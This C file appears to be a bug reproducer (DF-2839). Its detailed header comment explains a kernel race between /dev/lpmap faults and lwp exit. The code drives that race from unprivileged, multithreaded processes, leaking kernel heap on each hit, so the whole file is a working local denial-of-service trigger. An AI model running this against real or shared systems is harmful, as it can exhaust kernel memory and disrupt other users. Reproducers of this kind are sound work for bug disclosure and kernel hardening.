/*
 * DF-2839 v3 - /dev/lpmap fault vs lwp-exit race -> permanent M_UPMAP leak
 *
 * Race window (all unprivileged):
 *   V (victim) exits: lwp_exit() -> lwp_userunmap()  [kern_exit.c:688]
 *       1363: lwkt_gettoken(&lp->lwp_token)      (released across tsleep!)
 *       1365: lpmap = lp->lwp_lpmap; lp->lwp_lpmap = NULL;
 *       1369-1378: drain - vm_map_remove() of every lpmap backing
 *                  (sleeps for the map write lock; takes ms under churn)
 *       1381: kfree(lpmap)
 *     lwp_exit() only sets LWP_MP_WEXIT *after* lwp_userunmap() returns
 *     [kern_exit.c:691].
 *
 *   T (toucher) faults a page of a mapping V created:
 *     vm_fault() [map read-locked] -> user_kernel_mapping() kern_memio.c:801
 *       lp = ba->aux_info == V
 *       lp->lwp_lpmap == NULL  (V nulled it at 1366)
 *       -> lwp_usermap(V, -1)  [kern_memio.c:813]
 *          lwkt_gettoken(&lp->lwp_token)     (free: V released it to sleep)
 *          (lwp_mpflags & LWP_MP_WEXIT) == 0 (not set yet!)
 *          -> allocates a fresh lpmap, stores it in lp->lwp_lpmap
 *       -> pmap_kextract(new lpmap) -> pmap_enter: T's fault SUCCEEDS
 *
 *   V wakes, finishes lwp_userunmap() having already saved/free'd the OLD
 *   lpmap; nothing ever frees the NEW one.  lwp is reaped with the lpmap
 *   still installed -> 4096 bytes of M_UPMAP kernel heap leaked per hit.
 *
 * Usage: lpdeadlock3 [children] [seconds]
 * Each child setuid()s to an unprivileged uid before racing.
 * Exit 0 always (detection is via `vmstat -m | grep upmap` growth).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <errno.h>
#include <setjmp.h>

#define PAGE	4096
#define VICTIMS	6		/* concurrent exiting victims per wave */
#define VREGS	6		/* regions per victim */
#define VPAGES	16		/* pages per victim region */
#define VREGLEN	(VPAGES * PAGE)
#define NSTORM	6		/* storm threads (map churn) */
#define NTOUCH	3		/* wave touchers */

static int lpmap_fd;

static volatile unsigned long pub_base[VICTIMS * VREGS];
static volatile unsigned long pub_gen;
static volatile unsigned long wave_done;

static __thread sigjmp_buf segv_jb;
static __thread volatile int in_touch;

static void segv_handler(int sig)
{
	if (in_touch)
		siglongjmp(segv_jb, 1);
	_exit(10);
}

static void touch_range(volatile unsigned char *p, int npages)
{
	unsigned int i;

	if (sigsetjmp(segv_jb, 1) != 0)
		return;
	in_touch = 1;
	for (i = 0; i < npages; i++)
		(void)p[((i * 2654435761u) % npages) * PAGE];
	in_touch = 0;
}

static void *storm(void *arg)
{
	for (;;) {
		void *m = mmap(NULL, VREGLEN, PROT_READ | PROT_WRITE,
			       MAP_SHARED, lpmap_fd, 0);
		if (m == MAP_FAILED) {
			usleep(1000);
			continue;
		}
		touch_range((volatile unsigned char *)m, VPAGES);
		munmap(m, VREGLEN);
	}
	return NULL;
}

/*
 * Wave toucher: sweep the victims' regions in random order, page by page,
 * with jitter, so faults keep landing while each victim's drain runs.
 */
static void *toucher(void *arg)
{
	unsigned long seen = 0;
	unsigned int seed = (unsigned int)(uintptr_t)arg * 2654435761u + 1;
	int n = VICTIMS * VREGS;

	for (;;) {
		unsigned long g = pub_gen;
		if (g != seen) {
			int order[VICTIMS * VREGS];
			int i, j;
			seen = g;
			for (i = 0; i < n; i++)
				order[i] = i;
			for (i = n - 1; i > 0; i--) {	/* shuffle */
				int t;
				seed = seed * 1103515245 + 12345;
				j = (seed >> 16) % (i + 1);
				t = order[i]; order[i] = order[j]; order[j] = t;
			}
			for (i = 0; i < n; i++) {
				unsigned long b = pub_base[order[i]];
				if (b)
					touch_range((volatile unsigned char *)b,
						    VPAGES);
				seed = seed * 1103515245 + 12345;
				if (((seed >> 16) & 7) == 0)
					usleep(30);	/* spread in time */
			}
			__sync_add_and_fetch(&wave_done, 1);
		} else {
			usleep(40);
		}
	}
}

static void *victim(void *arg)
{
	int s = (int)(long)arg;
	int i;

	for (i = 0; i < VREGS; i++) {
		void *m = mmap(NULL, VREGLEN, PROT_READ | PROT_WRITE,
			       MAP_SHARED, lpmap_fd, 0);
		if (m != MAP_FAILED) {
			/* region 0: give V a real lpmap so lwp_userunmap has
			 * a real save/free path (widens both sub-windows) */
			if (i == 0)
				(void)*(volatile unsigned char *)m;
			pub_base[s * VREGS + i] = (unsigned long)m;
		}
	}
	__sync_add_and_fetch(&pub_gen, 1);
	pthread_exit(NULL);		/* -> lwp_exit -> lwp_userunmap */
}

static int child_body(int secs)
{
	pthread_t tid[NSTORM + NTOUCH + VICTIMS];
	long wave;
	int i, k;
	time_t end = time(NULL) + secs;

	signal(SIGSEGV, segv_handler);
	lpmap_fd = open("/dev/lpmap", O_RDWR);
	if (lpmap_fd < 0) {
		dprintf(2, "open /dev/lpmap: %s\n", strerror(errno));
		return 2;
	}
	for (i = 0; i < NSTORM; i++)
		pthread_create(&tid[i], NULL, storm, NULL);
	for (k = 0; k < NTOUCH; k++)
		pthread_create(&tid[NSTORM + k], NULL, toucher,
			       (void *)(uintptr_t)(k + 1));

	for (wave = 0; wave < 200000000L && time(NULL) < end; wave++) {
		wave_done = 0;
		for (i = 0; i < VICTIMS; i++)
			pthread_create(&tid[NSTORM + NTOUCH + i], NULL,
				       victim, (void *)(long)i);
		for (i = 0; i < VICTIMS; i++)
			pthread_join(tid[NSTORM + NTOUCH + i], NULL);
		{
			long w;
			for (w = 0; w < 300 && wave_done < NTOUCH; w++)
				usleep(10000);
		}
		for (i = 0; i < VICTIMS * VREGS; i++)
			pub_base[i] = 0;
	}
	dprintf(2, "waves=%ld\n", wave);
	return 0;
}

int main(int argc, char **argv)
{
	int nchild = 4, secs = 45, i;
	pid_t pid;

	if (argc > 1) nchild = atoi(argv[1]);
	if (argc > 2) secs = atoi(argv[2]);

	for (i = 0; i < nchild; i++) {
		pid = fork();
		if (pid == 0) {
			/* drop all privileges before racing */
			if (setgid(1001) || setuid(1001))
				_exit(3);
			_exit(child_body(secs));
		}
	}
	for (i = 0; i < nchild; i++) {
		int st;
		wait(&st);
	}
	return 0;
}